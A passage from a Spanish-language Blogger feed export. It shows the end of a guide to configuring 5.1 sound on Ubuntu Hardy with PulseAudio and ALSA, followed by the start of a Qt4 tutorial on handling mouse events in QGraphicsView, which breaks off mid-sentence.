&lt;strong&gt;nombre_usuario&lt;/strong&gt; pulse&lt;br /&gt;$ sudo adduser &lt;strong&gt;nombre_usuario&lt;/strong&gt; pulse-access&lt;br /&gt;$ sudo adduser &lt;strong&gt;nombre_usuario&lt;/strong&gt; pulse-rt&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Luego vamos hasta el menú Sistema-&gt;Preferencias-&gt;Sonido, en la pestaña &lt;em&gt;Dispositivos&lt;/em&gt; seleccionamos &lt;em&gt;PulseAudio Sound Server&lt;/em&gt; para todas las opciones y como dispositivo mezclador seleccionamos el nombre de nuestra tarjeta de sonido.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oLUxtmo5LIU/SIZYb2_jpvI/AAAAAAAAADg/aBGGbkyOafw/s1600-h/sonidos-pref.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://3.bp.blogspot.com/_oLUxtmo5LIU/SIZYb2_jpvI/AAAAAAAAADg/aBGGbkyOafw/s320/sonidos-pref.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5225961653251843826" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;En la pestaña &lt;em&gt;Sonidos&lt;/em&gt; nos aseguramos que la opción &lt;em&gt;Activar mezcla de sonidos por software (ESD)&lt;/em&gt; esté activada.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oLUxtmo5LIU/SIZYrfbOE0I/AAAAAAAAADo/CXlYuoDRRc4/s1600-h/esd.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/_oLUxtmo5LIU/SIZYrfbOE0I/AAAAAAAAADo/CXlYuoDRRc4/s320/esd.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5225961921803326274" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Sólo nos resta reiniciar el ALSA y el PulseAudio, para esto escribimos en el terminal:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ sudo /etc/init.d/pulseaudio restart&lt;br /&gt;$ sudo /sbin/alsa reload&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Con esto ya deberíamos tener todos nuestros altavoces funcionando. Recuerda verificar que el volumen está en el nivel adecuado (que no está muy bajo o silenciado), para ello cuentas con:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ alsamixer&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;¿Te ha funcionado ésta configuración? Deja tu comentario y cuenta cuáles han sido tus resultados&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-8426763537145620202?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/8426763537145620202/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=8426763537145620202&amp;isPopup=true' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/8426763537145620202'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/8426763537145620202'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2008/07/configurar-sonido-51-en-ubuntu-hardy.html' title='Configurar sonido 5.1 en Ubuntu Hardy Heron'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_oLUxtmo5LIU/SIZYb2_jpvI/AAAAAAAAADg/aBGGbkyOafw/s72-c/sonidos-pref.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-3848059701986985037</id><published>2008-07-16T10:46:00.000-07:00</published><updated>2008-12-18T13:07:20.080-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutoriales'/><category scheme='http://www.blogger.com/atom/ns#' term='Qt'/><category scheme='http://www.blogger.com/atom/ns#' term='Código Fuente'/><category scheme='http://www.blogger.com/atom/ns#' term='C/C++'/><title type='text'>Eventos de ratón en el QGraphicsView</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;El QGraphicsView es una clase de Qt4 que proporciona un widget para mostrar una escena QGraphicsScene. La escena es una superficie que nos permite manejar un montón de elementos 2D, sin embargo ninguno de estos controles trae habilitado por defecto la captura de eventos de ratón.&lt;br /&gt;&lt;br /&gt;Para interceptar (y manejar) estos eventos debemos hacer una subclase, bien sea, de QGraphicsScene o de QGraphicsView y redefinir el método &lt;em&gt;mousePressEvent&lt;/em&gt;. Pero como QGraphicsView contiene a la escena (digamos que es el widget padre) entonces lo tomaremos como base para esta explicación.&lt;br /&gt;&lt;br /&gt;Vamos a definir una subclase válida de un QGraphicsView llamada GraphicsView y que tenga una señal llamada &lt;em&gt;mousePressed&lt;/em&gt; con dos argumentos enteros:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;#include &amp;lt;QGraphicsView&amp;gt;&lt;br /&gt;#include &amp;lt;QObject&amp;gt;&lt;br /&gt;&lt;br /&gt;class GraphicsView : public QGraphicsView{&lt;br /&gt;    Q_OBJECT&lt;br /&gt;public:&lt;br /&gt;    GraphicsView(QWidget *parent = 0);&lt;br /&gt;    void mousePressEvent(QMouseEvent *event);&lt;br /&gt;signals:&lt;br /&gt;    void mousePressed(int x, int y);&lt;br /&gt;};&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;El método &lt;em&gt;mousePressEvent&lt;/em&gt; se llamará cada vez que el usuario haga clic en un botón del ratón encima del GraphicsView. Para implementar otros eventos de ratón podemos redefinir (de la misma manera) las funciones mouseMoveEvent, mouseReleaseEvent, mouseDoubleClickEvent o wheelEvent.&lt;br /&gt;&lt;br /&gt;La reimplementación de la clase quedaría de la sigu
